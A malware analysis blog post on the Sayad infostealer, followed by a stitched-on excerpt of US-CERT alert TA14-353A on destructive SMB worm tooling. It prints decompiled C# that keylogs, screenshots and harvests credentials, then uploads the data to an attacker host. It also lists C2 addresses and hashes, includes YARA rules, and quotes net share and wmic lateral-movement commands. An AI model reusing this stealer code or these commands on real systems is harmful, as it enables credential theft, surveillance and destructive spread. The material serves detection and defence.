(dubbed Sayad) that implements multiple host data collection methods and wraps them up into a +single .NET DLL. Sayad malware is typically distributed through phishing emails. +Introduction +This week I got hold of a sample of +Sayad +, so I ran it through our Vinsula Execution Engine (VEE) to find +out what it does and how it works. Credit for sharing the sample of the malware goes to @MalwareChannel. +The information this malware is able to steal and upload to a Web server controlled by the hackers is highly +sensitive and would have an enormous impact on compromised individuals, businesses, and governments. +Some of the tasks Sayad is designed to accomplish include: +Get and send host system information, including: +Host computer name +Internal and external IPs +Languages installed +User name +Running processes +Open ports +Capture and record keystrokes through a user mode key logger +Periodically capture information stored in the clipboard +Collect and transfer user information for FTP Clients + FileZilla and WinSCP +Get data account information for FileZilla FTP Server +Transfer Kerio VPN client user configuration files +Collect and transfer bookmarks for Chrome, Firefox, Internet Explorer, and Opera +Steal browser cookies for Chrome, Firefox, Internet Explorer, and Opera +Collect and transfer history for Chrome, Firefox, Internet Explorer, and Opera +Capture any registered proxies +Get and transfer the start URL for each installed browser +Collect and transfer chat history for Skype, Yahoo Messenger, Pidgin, and GTalk +Steal RDP, Putty accounts +Collect VPN related account information for Proxifier and WinVPN +Determine if the currently logged on user is running as admin +At the time of writing of this post, the detection rate for Sayad malware binary +(SHA2:8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12) at VirusTotal is zero. +There are several interesting aspects of Sayad malware, and after running the malicious executable through +the Vinsula Execution Engine to analyze its behavior, I discovered that the initial executable titled +WEXTRACT.exe (SHA1:1c52b749403d3f229636f07b0040eb17beba28e4) was in fact a self extracting EXE +that dropped and launched the Binder executable malware, ~8f60957b3689075fa093b047242c0255.exe +(SHA1:69fd05ca3a7514ea79480d1dbb358fab391e738d). Once the Binder executable malware is launched, it +checks the .NET version installed on the machine and drops the information stealer DLL component, Sayad +(aka Client) + DiagnosticsService.dll (SHA1:8521eefbf7336df5c275c3da4b61c94062fafdda). +Sayad has some characteristics that make it unique: +Sayad has been designed by someone who seems to have a .NET OOP/OOD background +It uses some non-traditional methods for native to .NET interop like exporting a manged API through +the native Export Address Table +The malware uses an oversimplified form of obfuscation for string utilizing Base64 encoding which in +fact can be easily de-obfuscated +Our collegues from NCC Group +s Cyber Defence Operations published an article titled +A new Flying Kitten? +with some details around Sayad malware and its possible link to the activities of the Iranian hacking group +Ajax Security Team. +Attack Overview +The diagram below outlines the key elements of the attack. The malware executable is delivered by a phishing +email or the user is somehow tricked into downloading it and executing it. Once the user clicks on the +malware, it extracts the actual malware executable and launches it. +Analysis +Our first step was to run the +Sayad + binary through our Vinsula Execution Engine to find out just what it +does. The process tree below as reported by our engine allows us to visually present the parent/child +relationship between all the processes and their command lines related to the execution for this specific +malware. +explorer.exe [Process Id: 140] ++ WEXTRACT.exe [Process Id: 3508] ++ ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] ++ rundll32.exe [Process Id: 2596] +Cmd line: rundll32.exe "DiagnosticsService.dll",78121 ++ csc.exe [Process Id: 2672] ++ cvtres.exe [Process Id: 256] ++ csc.exe [Process Id: 3548] ++ cvtres.exe [Process Id: 3280] +For the sake of shortness, in this post we omit the command line details in the process tree above for the +csc.exe and cvtres.exe instances. For the same reason, we also don +t show the complete command line of the +rundll32.exe. Because this is an important detail, here is how it shows up in our Vinsula malware report: +rundll32.exe +C:\Users\[User]\AppData\Roaming\Client\DiagnosticsService.dll +,78121 +Sayad malware is a self-contained executable that embeds within itself all the required malicious components, +meaning that it doesn +t need to download any additional malicious content from the C2 server, which may +appear suspicious. +Its three core components are structured as +Russian Dolls, + i.e., one wrapped within the next in layers. Here +is the list with the key components starting from the outermost one. Hashes of all investigated components +are provided at the end of this post. +Self-extracting executable (WEXTRACT.exe) +Binder (~8f60957b3689075fa093b047242c0255.exe) +Client (DiagnosticsService.dll) +Further down, I will go into greater detail and provide more information about the behavior and static +building blocks of each of these components. For now, I am just aiming to capture the scope of each +executable involved in the orchestration of the Sayad malware. +As we can see in the cascade tree above, the main malware WEXTRACT.exe is a self-extracting executable +which extracts the Binder ~8f60957b3689075fa093b047242c0255.exe, and it then launches it. The Binder is +responsible for checking the installed .NET version and extracting the relevant .NET Client +DiagnosticsService.dll. This .NET DLL implements the data collecting logic and sends the collected data to +the C2 server. The following diagram captures a bit more of the detail of the malware workflow. +The main self-extracting binary WEXTRACT.exe drops two files in the user +s appdata temp directory as shown +in the following entries from our Vinsula report. These two files are the two parts of the Binder + a .NET +executable (~8f60957b3689075fa093b047242c0255.exe) and its configuration file +(~8f60957b3689075fa093b047242c0255.exe.config). Details along with snippets from Binder +s source code +are provided in the next sections. ++ WEXTRACT.exe [Process Id: 3508] +Create[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] +Delete[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] +Open[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] +Write[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe] +Create[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] +Delete[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] +Open[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] +Write[C:\Users\ +[User]\AppData\Local\Temp\IXP000.TMP\~8f60957b3689075fa093b047242c0255.exe.config] +Here is the hashes of the Binder: +Filename : ~8f60957b3689075fa093b047242c0255.exe +MD5 : 72641dedb31280b78bf6a0f184ef29b6 +SHA1 : 69fd05ca3a7514ea79480d1dbb358fab391e738d +This is what the two files dropped by the self-extracting malware look like in Windows Explorer. They are +stored in a temporary location C:\Users\[User]\AppData\Local\Temp\IXP000.TMP. +After dropping the Binder and its configuration file, the main self-extracting binary launches the Binder +(~8f60957b3689075fa093b047242c0255.exe). Similar to the process tree from our Vinsula report above, the +below screenshot from Process Explorer shows the Binder being launched by the self-extracting binary. +The purpose of the Binder is to create and drop the core malware component (also titled Client +DiagnosticsService.dll) and its configuration disguised as a DLL file, base.dll. Below is a snippet from our +Vinsula report capturing the relevant event entries that show the Client and its configuration being created. ++ WEXTRACT.exe [Process Id: 3508] ++ ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] +Create [C:\Users\[User]\AppData\Roaming\Client\base.dll] +Write [C:\Users\[User]\AppData\Roaming\Client\base.dll] +Create [C:\Users\ +[User]\AppData\Roaming\Client\DiagnosticsService.dll] +Write [C:\Users\ +[User]\AppData\Roaming\Client\DiagnosticsService.dll] +These are the hashes of the two core Client related files: +Filename : DiagnosticsService.dll +MD5 : 432a79f8f1402cb2622b27e26e900d55 +SHA1 : 8521eefbf7336df5c275c3da4b61c94062fafdda +Filename : base.dll +MD5 : 4a67b19c02d5cfdebcd85b7395d09881 +SHA1 : 082da03918039125dcf1f096a13ffa9ab6a56bde +Before digging into the details of the Client, lets have a look at the Binder +(~8f60957b3689075fa093b047242c0255.exe) implementation. The Binder is a .NET executable whose +purpose is to find out what version of .NET is currently installed, and then drop the relevant .NET Client DLL +accordingly. There are two versions of the Client DLL that are stored as embedded resources in Binder +executable. That makes the malware less chattier and allows it to drop the correct .NET version DLL without +the need to download it from a malicious Web location. +As shown in the above screenshot, in the Binder +s main entry point, the Sayad malware: +gets the installed .NET versions +modifies the registry so that it will run at startup using rundll32.exe Windows utility to load the Client +(DiagnosticsService.dll) +extracts the relevant .NET Client version from the embedded resource +depending on the installed .NET version, it copies the Client (CopySayad method) to a user +s directory +extract the configuration information from the end of the Binder +s image using the method +ReadExtraDataFromEndOfBuffer +starts up the Client using the command rundll32.exe +C:\Users\ +[User]\AppData\Roaming\Client\DiagnosticsService.dll +,7812 +The following diagram reflects the code paths in Binder +s Main entry point as described in the section above. +The Binder ensures that the malware will survive reboots by registering the command for loading and +executing the Client DLL (DiagnosticsService.dll) to run at startup as shown below. +The following shows the registry modification that comes as a result of the executing the code above. +And here is the corresponding registry modification entries from Vinsula +s report. More on the details +regarding the rundll32.exe command will be provided in the following sections. ++ WEXTRACT.exe [Process Id: 3508] ++ ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] +Set Key:HKCU\Software\Microsoft\Windows\CurrentVersion\Run +Name:DiagnosticsService +Value:rundll32.exe "C:\[Path +omitted]\DiagnosticsService.dll",78121 ++ rundll32.exe [Process Id: 2596] Command: rundll32.exe +"DiagnosticsService.dll",78121 +Set Key:HKCU\Software\Microsoft\Windows\CurrentVersion\Run +Name:78121 +Value:rundll32.exe +"C:\Windows\system32\rundll32.exe",78121 +An interesting aspect of the implementation of the Binder assembly is the way the malware authors decided to +launch the Client by executing the command rundll32.exe +DiagnosticsService.dll +,7812 and utilizing WinExec +API to launch the rundll32.exe process as shown below. The WinExec API has been provided only for +backward compatibility with 16-bit Windows. +A quick Googling of the method names of the two methods FromUrlSafeBase64String ToUrlSafeBase64String +from the Base64.cs file shows that the code has been copied from the following stackoverflow post +.NET MVC +Routing w/ Url Encoding Problems +. The following screenshot shows the Binder project in Visual Studio. +As previously mentioned, the Binder extracts the relevant Client DLL according to the installed .NET version. +There are two copies of the Client DLL, targeting .NET2 and .NET4, both stored as embedded resources inside +the Binder file image. +The Binder is also responsible for extracting the configuration data located at the end of the Binder +s file +image and storing it in the base.dll file. The configuration data is stored as plain text and Base64 encoded data +and holds following configuration attributes: +BuildId + a unique GUID that identifies the build of the malware. For this sample the GUID value is +{e5aac039-cf4a-4b1d-9507-df7001ee2637} +PublicKey + this is a RSA public key used for encrypting the collected data being uploaded to the +malicious Web site hxxp://0o0o0o0o0.com +PostURL + this is a URL and it is used for uploading collected data to the malicious Web site +hxxp://0o0o0o0o0.com/soft.php +ResourceURL + a URL that the malware uses to download sqllite3.dll +ScreenShotCount + determines how many consecutive screenshots need to be taken each time +ScreenShotInterval + indicates how frequently the screenshots will be taken +StartupScreenshot + determines whether to take a screenshot at startup time +Here is a sample configuration file base.dll +The most interesting aspect of this malware is surely the Sayad Client (DiagnosticsService.dll). The malware +authors decided to implement the core data collection and transmission into a single .NET DLL. Typically, +unknown .NET DLLs do not look as suspicious as a native Win32 DLL or an executable. Also, a DLL requires +an executable to load it in order to execute any code implemented by the DLL. Sayad leverages rundll32.exe, +which is a shell that allows the loading of 32-bit DLLs and the execution of exported APIs. +Basically, Sayad Client is a 32-bit .NET DLL. Rundll32.exe would be able to load Sayad Client DLL, but as it is +a .NET managed DLL it doesn +t support exporting of native unmanaged APIs, thus Rundll32.exe cannot +execute any of the .NET/C# public methods implemented in the Sayad Client DLL. +Going back to the malware process tree we can see that Binder launches the following command, which is +instructing Windows utility rundll32.exe to load Sayad Client DiagnosticsService.dll, obtain the function +address of the native API named +78121 + via GetProcAddress(), and call the function pointer of the entry +point +78121 +rundll32.exe "C:\Users\ +[User]\AppData\Roaming\Client\DiagnosticsService.dll",78121 +Microsoft C# compiler does not support interop via the export of unmanaged native APIs from within a +.NET/C# DLL. However, if we open Sayad Client DLL it is clear that the DLL does export a native unmanaged +API function titled +78121 +How have the malware authors managed to export a native API from a C# DLL? Although not supported by +Microsoft, this is not impossible if after building the executable, the MSIL is modified to map a managed static +method to the name of a native unmanaged API and then export the API so that it appears in the Export +Address Table of the managed PE (Portable Executable) image. In this case, a static method Main() of +Program class located in Program.cs of the Sayad Client DLL (DiagnosticsService.dll) maps to the native API +78121 +. As shown below, a special declaration is applied to ensure that the caller (rundll32.exe) executes a +method matching the required __stdcall calling convention. Here is the MSIL of the static Main() method. +And below is the corresponding disassmebled C# version. +Sayad Client DLL +s main entry point initializes and starts up all data collection methods that the assembly +implements. The code below is executed by using the command rundll32.exe +C:\Users\ +[User]\AppData\Roaming\Client\DiagnosticsService.dll +,7812 +The malware authors left some debugging messages that indicate the different stages of the Sayad Client +initialization. The code also handles and collects all uncaught exceptions thrown during the execution of the +malware by attaching to AppDomain.UnhandledException and Application.ThreadException events. +In the next step, the client loads the configuration discussed in a previous section and then proceeds to start +up all data collection components, as shown in the snippet below. +private static void modopt(CallConvStdcall) Main() +Application.SetUnhandledExceptionMode( +UnhandledExceptionMode.CatchException); +AppDomain.CurrentDomain.UnhandledException += +new UnhandledExceptionEventHandler( +Program.TotalExceptionHandler); +Application.ThreadException += +new ThreadExceptionEventHandler( +Program.TotalExceptionHandler); +bool flag3; +ClientExceptions = new List(); +_uploadQuque = new UploadQueue(); +string path = CommonPath.ClientPath() + +Path.DirectorySeparatorChar + "base.dll"; +while (!File.Exists(path)) +Thread.Sleep(int.Parse(Resources.ShortSleepTime)); +Debug.Write("Config loaded"); +string[] strArray = File.ReadAllLines(path); +ExecutableConfigInfo info2 = new ExecutableConfigInfo { +BuildId = strArray[0].Trim(), +PublicKey = strArray[1].Trim(), +PostURL = strArray[2].Trim(), +ResourceURL = strArray[3].Trim(), +screenShotCount = strArray[4].Trim(), +screenShotInterval = strArray[5].Trim(), +startupScreenShot = strArray[6].Trim() +_configInfo = info2; +if (!string.IsNullOrEmpty(_configInfo.PostURL)) +Uri uri = new Uri(_configInfo.PostURL); +_hostAddress = uri.OriginalString.Replace( +uri.AbsolutePath, ""); +catch +return; +CryptionKeyInfo info3 = new CryptionKeyInfo { +KeySize = int.Parse(Resources.RSAKeySize), +PublicKey = _configInfo.PublicKey +_keyInfo = info3; +Debug.Write("Config parsed"); +if (!string.IsNullOrEmpty(_hostAddress)) +new Wiper(new Http(), _hostAddress, +_configInfo.BuildId).StartWiper(); +Debug.Write(string.Format("wiper {0}", _hostAddress)); +new StorageUploader(new Http(), _configInfo.PostURL, +_configInfo.BuildId).StartUploader(); +Debug.Write("storage uploader"); +new Updater(new Http(), +_hostAddress, _configInfo.BuildId).StartUpdater(); +Debug.Write("updater"); +int keyLogLimitSize = int.Parse( +Resources.KeyloggerLogLimitSize); +new Thread(delegate { +KeyLoggerProc(new Http(), keyLogLimitSize); +}).Start(); +Debug.Write("keylogger"); +int screenshotCount = int.Parse( +_configInfo.screenShotCount); +int screenshotInterval = int.Parse( +_configInfo.screenShotInterval); +new Thread(delegate { +ScreenShotProc(new Http(), +screenshotInterval, screenshotCount); +}).Start(); +Debug.Write("Screenshot"); +Debug.Write(_configInfo.ResourceURL); +if (SQLiteFinder.FindSqlite(_configInfo.ResourceURL)) +Debug.Write("sqlite found & start collectiong data"); +SerializeModel dataToSerialize = NewSerializerModel(); +dataToSerialize.MachineInfo = +new MachineInfo().GetMachineInfo(); +Debug.Write("Machine info collected"); +List list = new List { +new Chrome(), +new Firefox(), +new Opera() +foreach (IBrowser browser in list) +dataToSerialize.BrowsersInfo.Add( +browser.GetBrowserInfo()); +Debug.Write("browser ok"); +List list2 = new List { +new Pidgin(), +new YahooMessenger(), +new Gtalk() +foreach (IMessenger messenger in list2) +dataToSerialize.MessengersInfo.Add( +messenger.GetMessengerInfo()); +Debug.Write("messenger ok"); +List list3 = new List { +new Proxifier() +foreach (IVpn vpn in list3) +dataToSerialize.VpNsInfo.Add(vpn.GetClientInfo()); +Debug.Write("vpn ok"); +List list4 = new List { +new FilezillaClient(), +new Winscp() +foreach (IFtpClient client in list4) +dataToSerialize.FtpClientsInfo.Add( +client.GetFtpClientInfo()); +Debug.Write("ftp client ok"); +List list5 = new List { +new FilezillaServer() +foreach (IFtpServer server in list5) +dataToSerialize.FtpManagementsInfo.Add( +server.GetFtpServerInfo()); +Debug.Write("ftp server ok"); +List list6 = new List { +new Putty(), +new RemoteDesktop() +foreach (IRemoteClient client2 in list6) +dataToSerialize.RemoteClientsInfo.Add( +client2.GetRemoteClientsInfo()); +Debug.Write("rdp ok"); +List list7 = new List { +new Kerio() +foreach (IFileCollector collector in list7) +dataToSerialize.ExtraFiles.Add(collector.GetFile()); +Debug.Write("kerio ok"); +string[] skypeDatabases = Skype.GetSkypeDatabases(); +foreach (string str2 in skypeDatabases) +string destFileName = Path.Combine( +Path.GetTempPath(), Path.GetFileName(str2)); +File.Copy(str2, destFileName); +if (File.Exists(destFileName)) +DirectoryInfo parent = new +DirectoryInfo(str2).Parent; +if ((parent != null) && File.Exists(destFileName)) +ExtraFileSerializeModel item = +new ExtraFileSerializeModel { +Name = Resources.SkypePathName, +Description = parent.Name, +Data = File.ReadAllBytes(destFileName) +dataToSerialize.ExtraFiles.Add(item); +File.Delete(destFileName); +Debug.Write("skype ok"); +byte[] bytetoEncrypt = ModelSerializer.SerializeAndCompress( +dataToSerialize); +Debug.Write("serialize data ok"); +byte[] buffer = EncryptBuffer(bytetoEncrypt, _keyInfo); +Http http = new Http(); +if (!http.UploadBuffer(buffer, _configInfo.BuildId, +_configInfo.PostURL)) +File.WriteAllBytes( +Path.Combine(CommonPath.ClientStorage(), +Path.GetRandomFileName()), buffer); +string startupKeyName = Resources.StartupKeyName; +if (!Startup.CheckStartup(startupKeyName)) +Startup.SetStartup(startupKeyName, +Application.ExecutablePath); +goto Label_07DD; +Label_07D4: +Thread.Sleep(-1); +Label_07DD: +flag3 = true; +goto Label_07D4; +catch (Exception exception) +AddExceptionToExceptionList(exception); +The Sayad Client uses a very trivial method for uploading the encrypted user and host data to the malicious +server. Here is the UploadBuffer method that uses .NET WebClient class to upload the data. +Both the Binder and the Sayad Client have been built with debugging information which reveals some details +about the source code locations for these two .NET projects. +f:\Projects\C#\Sayad\Source\Binder\obj\Debug\Binder.pdb +F:\Projects\C#\Sayad\Source\Client\bin\x86\Debug\Client.pdb +Network Activity +Communication with the C2 server is limited to transferring collected data from the user and the host to the +C2 server. The stolen data being uploaded to the malicious server is encrypted first using a RSA public key +which is stored in the malware configuration file. The Sayad Client (DiagnosticsService.dll) implements an +HTTP client that uploads the encrypted data to the malicious Web server with host name +0o0o0o0o0[dot]com + and IP address 107.6.182.179. The Binder component doesn +t implement any +communication features. The following is a short segment from Vinsula network activity report. ++ WEXTRACT.exe [Process Id: 3508] ++ ~8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] ++ rundll32.exe [Process Id: 2596] [Parent Id: 2544] +Command Line: rundll32.exe "DiagnosticsService.dll",78121 +TCP IPv4 UNKNOWN 192.168.64.167:1325 <==> 107.6.182.179:80 +TCP IPv4 UNKNOWN 192.168.64.167:1326 <==> 107.6.182.179:80 +TCP IPv4 send 192.168.64.167:1326 +==> 107.6.182.179:80 +TCP IPv4 send 192.168.64.167:1325 +==> 107.6.182.179:80 +TCP IPv4 recv 192.168.64.167:1326 <== +107.6.182.179:80 +TCP IPv4 recv 192.168.64.167:1325 <== +107.6.182.179:80 +TCP IPv4 UNKNOWN 192.168.64.167:1327 <==> 107.6.182.179:80 +TCP IPv4 send 192.168.64.167:1327 +TCP IPv4 recv 192.168.64.167:1327 <== +TCP IPv4 UNKNOWN 192.168.64.167:1328 <==> 107.6.182.179:80 +TCP IPv4 UNKNOWN 192.168.64.167:1329 <==> 107.6.182.179:80 +TCP IPv4 send 192.168.64.167:1328 +==> 107.6.182.179:80 +TCP IPv4 send 192.168.64.167:1329 +==> 107.6.182.179:80 +TCP IPv4 recv 192.168.64.167:1328 <== +107.6.182.179:80 +TCP IPv4 recv 192.168.64.167:1329 <== +107.6.182.179:80 +TCP IPv4 UNKNOWN 192.168.64.167:1330 <==> 107.6.182.179:80 +TCP IPv4 UNKNOWN 192.168.64.167:1331 <==> 107.6.182.179:80 +TCP IPv4 send 192.168.64.167:1330 +==> 107.6.182.179:80 +107.6.182.179:80 +==> 107.6.182.179:80 +According to the http://www.ipligence.com/geolocation service, the malicious Web server is located in the +Netherlands. +Below is the WHOIS information for the malicious host 0o0o0o0o0[dot]com (IP 107.6.182.179). The domain +was registered on June 30, 2014. Interestingly, the registrant, admin and tech email addresses are +domain@microsofts.com. One wonders if the registrar, OnlineNIC, Inc, is verifying whether or not these are +real email addresses. +YARA detection rule +Based on the details that have been identified, we can create two simple YARA rules for detection of the Sayad +Binder and Sayad Client. Hopefully this will help other malware researchers and security companies. +rule Vinsula_Sayad_Binder : infostealer +meta: +copyright = "Vinsula, Inc" +description = "Sayad Infostealer Binder" +version = "1.0" +actor = "Sayad Binder" +in_the_wild = true +strings: +$pdbstr = +"\\Projects\\C#\\Sayad\\Source\\Binder\\obj\\Debug\\Binder.pdb" +$delphinativestr = "DelphiNative.dll" nocase +$sqlite3str = "sqlite3.dll" nocase +$winexecstr = "WinExec" +$sayadconfig = "base.dll" wide +condition: +all of them +rule Vinsula_Sayad_Client : infostealer +meta: +copyright = "Vinsula, Inc" +description = "Sayad Infostealer Client" +version = "1.0" +actor = "Sayad Client" +in_the_wild = true +strings: +$pdbstr = +"\\Projects\\C#\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb" +$sayadconfig = "base.dll" wide +$sqlite3str = "sqlite3.dll" nocase +$debugstr01 = "Config loaded" wide +$debugstr02 = "Config parsed" wide +$debugstr03 = "storage uploader" wide +$debugstr04 = "updater" wide +$debugstr05 = "keylogger" wide +$debugstr06 = "Screenshot" wide +$debugstr07 = "sqlite found & start collectiong data" wide +$debugstr08 = "Machine info collected" wide +$debugstr09 = "browser ok" wide +$debugstr10 = "messenger ok" wide +$debugstr11 = "vpn ok" wide +$debugstr12 = "ftp client ok" wide +$debugstr13 = "ftp server ok" wide +$debugstr14 = "rdp ok" wide +$debugstr15 = "kerio ok" wide +$debugstr16 = "skype ok" wide +$debugstr17 = "serialize data ok" wide +$debugstr18 = "Keylogged" wide +condition: +all of them +Tools used for dissecting Sayad (Update 24th of July, 2014) +ve received a request to list the tools used for analyzing Sayad malware. Hope that would help other +researchers. +Vinsula Execution Engine + Kernel mode behavioral monitoring framework for 32-bit and 64-bit +Windows +http://vinsula.com/about/our-technology/ +IDA Pro + The ultimate x64/x86 disassembler and a fantastic debugger +https://www.hex-rays.com/products/ida/ +WinDBG + Microsoft Debugging Tools for Windows + kernel and user mode debugger +http://msdn.microsoft.com/en-au/windows/hardware/hh852365.aspx +.NET Reflector + .NET C#/MSIL decompiler and .NET debugger +http://www.red-gate.com/products/dotnet-development/reflector/ +Dependency Walker + provides a tree of all dependent DLLs and APIs +http://www.dependencywalker.com/ +PEview + Portable Executable Explorer +http://www.aldeid.com/wiki/PEView +Fiddler + free Web debugging proxy +http://www.telerik.com/fiddler +SysInternals Process Explorer +http://technet.microsoft.com/en-au/sysinternals/bb896653.aspx +IP Geolocator +http://www.ipligence.com/geolocation +WHOIS Search +http://www.whois.net/ +https://who.is/ +YARA + The pattern matching swiss knife for malware researchers +We use YARA to create the malware signatures +http://plusvic.readthedocs.org/en/modules/gettingstarted.html +http://plusvic.github.io/yara/ +Hashmyfiles by Nir Sofer + Calculate MD5/SHA1/CRC32 hashes of files +http://www.nirsoft.net/utils/hash_my_files.html +Summary +With this particular sample, the malicious server + as of this writing + is up and running. The Sayad malware +doesn +t seem to be implementing any sophisticated mechanisms for collecting and transmitting the stolen +data. +The hashes of the files related to this sample are copied below. +================================================== +Filename +: WEXTRACT.exe +: a7813001063a23627404887b43616386 +SHA1 +: 1c52b749403d3f229636f07b0040eb17beba28e4 +SHA-256 +8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12 +Modified Time +: 15/07/2014 6:17:44 PM +Created Time +: 17/07/2014 10:21:15 AM +File Size +: 223,744 +File Version +: 11.00.9600.16428 (winblue_gdr.131013-1700) +Product Version +: 11.00.9600.16428 +Identical +Extension +: exe +File Attributes +================================================== +================================================== +Filename +: ~8f60957b3689075fa093b047242c0255.exe +: 72641dedb31280b78bf6a0f184ef29b6 +SHA1 +: 69fd05ca3a7514ea79480d1dbb358fab391e738d +SHA-256 +780c86ec885ea48316995ae69965e314a750848413f94907cf54bdeba09b5c3c +Modified Time +: 14/07/2014 9:53:14 AM +Created Time +: 19/07/2014 12:00:58 PM +File Size +: 321,008 +File Version +: 1.0.0.0 +Product Version +: 1.0.0.0 +Identical +Extension +: exe +File Attributes +================================================== +================================================== +Filename +: DiagnosticsService.dll +: 432a79f8f1402cb2622b27e26e900d55 +SHA1 +: 8521eefbf7336df5c275c3da4b61c94062fafdda +SHA-256 +bae3171917daf3eb498ae2fb1d0fcbfbb684a5314a8cbef2d5e3bd4c30ece8e1 +Modified Time +: 17/07/2014 10:16:25 AM +Created Time +: 17/07/2014 2:17:55 PM +File Size +: 150,528 +File Version +: 1.0.0.0 +Product Version +: 1.0.0.0 +Identical +Extension +: dll +File Attributes +================================================== +================================================== +Filename +: sqlite3.dll +: 529ecf76409537ab5ac140a5e6fec79d +SHA1 +: 25c3720c06de6d9b584a06ddf44c079c24df30ce +SHA-256 +c8571f963541414666397dce06657594560eed4943c93780eb7a2358f0645515 +Modified Time +: 17/07/2014 10:16:43 AM +Created Time +: 17/07/2014 2:17:55 PM +File Size +: 291,328 +File Version +Product Version +Identical +Extension +: dll +File Attributes +================================================== +================================================== +Filename +: base.dll +: 4a67b19c02d5cfdebcd85b7395d09881 +SHA1 +: 082da03918039125dcf1f096a13ffa9ab6a56bde +SHA-256 +35cd39d419ab386aaa534b4ce95aa7fcda696ef6960fd103beaecf71bacd7398 +Modified Time +: 17/07/2014 10:16:26 AM +Created Time +: 17/07/2014 2:17:55 PM +File Size +: 361 +File Version +Product Version +Identical +Extension +: dll +File Attributes +================================================== +Alert (TA14-353A) +Targeted Destructive Malware +Original release date: December 19, 2014 +Systems Affected +Microsoft Windows +Overview +US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation +activities recently targeting a major entertainment company. This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool, +Destructive Hard Drive Tool, and Destructive Target Cleaning Tool. +SMB Worm Tool: This worm uses a brute force authentication attack to propagate via Windows SMB shares. It connects home every five minutes to send log data +back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445. The tool also accepts new scan tasking +when it connects to C2. There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread +attempts to guess passwords for SMB connections. If the password is correctly guessed, a file share is established and file is copied and run on the newly-infected +host. +Listening Implant: During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase "National Football League." +Additionally, this implant listens for connections on TCP port 195 (for "sensvc.exe" and "msensvc.exe") and TCP port 444 (for "netcfg.dll"). Each message sent to +and from this implant is preceded with its length, then XOR encoded with the byte 0x1F. Upon initial connection, the victim sends the string, "HTTP/1.1 GET /dns? +\x00." The controller then responds with the string "200 www.yahoo.com!\x00" (for "sensvc.exe" and "msensvc.exe") or with the string "RESPONSE 200 OK!!" (for +"netcfg.dll"). The controller sends the byte "!" (0x21) to end the network connection. This special message is not preceded with a length or XOR encoded. +Lightweight Backdoor: This is a backdoor listener that is designed as a service DLL. It includes functionality such as file transfer, system survey, process +manipulation, file time matching and proxy capability. The listener can also perform arbitrary code execution and execute commands on the command line. This +tool includes functionality to open ports in a victim host's firewall and take advantage of universal Plug and Play (UPNP) mechanisms to discover routers and +gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks. There are no +callback domains associated with this malware since connections are inbound only on a specified port number. +Proxy Tool: Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443. The implant may +have an associated configuration file which can contain a configurable port. This proxy tool has basic backdoor functionality, including the ability to fingerprint the +victim machine, run remote commands, perform directory listings, perform process listings, and transfer files. +Destructive Hard Drive Tool: This tool is a tailored hard-drive wiping tool that is intended to destroy data past the point of recovery and to complicate the victim +machine +s recovery. If the CNE operator has administrator-level privileges on the host, the program will over-write portions of up-to the first four physical drives +attached, and over-write the master boot record (MBR) with a program designed to cause further damage if the hard drive is re-booted. This further results in the +victim machine being non-operational with irrecoverable data (There is a caveat for machines installed with the windows 7 operating system: windows 7 machines +will continue to operate in a degraded state with the targeted files destroyed until after reboot, in which the infected MBR then wipes the drive.) If the actor has +user-level access, the result includes specific files being deleted and practically irrecoverable, but the victim machine would remain usable. +Destructive Target Cleaning Tool: This tool renders victim machines inoperable by overwriting the Master Boot Record. The tool is dropped and installed by another +executable and consists of three parts: an executable and a dll which contain the destructive components, and an encoded command file that contains the actual +destruction commands to be executed. +Network Propagation Wiper: The malware has the ability to propagate throughout the target network via built-in Windows shares. Based on the +username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares in order to +upload a copy of the wiper and begin the wiping process on these remote systems. The malware uses several methods to access shares on the remote systems to +begin wiping files. Checking for existing shares via +\\hostname\admin$\system32 + and +\\hostname\shared$\system32 + or create a new share +cmd.exe /q /c net +share shared$=%SystemRoot% /GRANT:everyone, FULL +. Once successful, the malware uploads a copy of the wiper file +taskhostXX.exe +, changes the file-time +to match that of the built-in file +calc.exe +, and starts the remote process. The remote process is started via the command +cmd.exe /c wmic.exe /node:hostname +/user:username /password:pass PROCESS CALL CREATE +. Hostname, username, and password are then obtained from the configuration file. Afterwards, the +remote network share is removed via +cmd.exe /q /c net share shared$ /delete +. Once the wiper has been uploaded, the malware reports its status back to one of +the four C2 IP addresses. +Technical and strategic mitigation recommendations are included in the Solution section below. +US-CERT recommends reviewing the Security Tip Handling Destructive Malware #ST13-003. +Description +Cyber threat actors are using an SMB worm to conduct cyber exploitation activities. This tool contains five components + a listening implant, lightweight backdoor, +proxy tool, destructive hard drive tool, and destructive target cleaning tool. +The SMB worm propagates throughout an infected network via brute-force authentication attacks, and connects to a C2 infrastructure. +Impact +Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and +disruption of critical systems. +Solution +Users and administrators are recommended to take the following preventive measures to protect their computer networks: +Use and maintain anti-virus software + Anti-virus software recognizes and protects your computer against most known viruses. It is important to keep your +anti-virus software up-to-date (see Understanding Anti-Virus 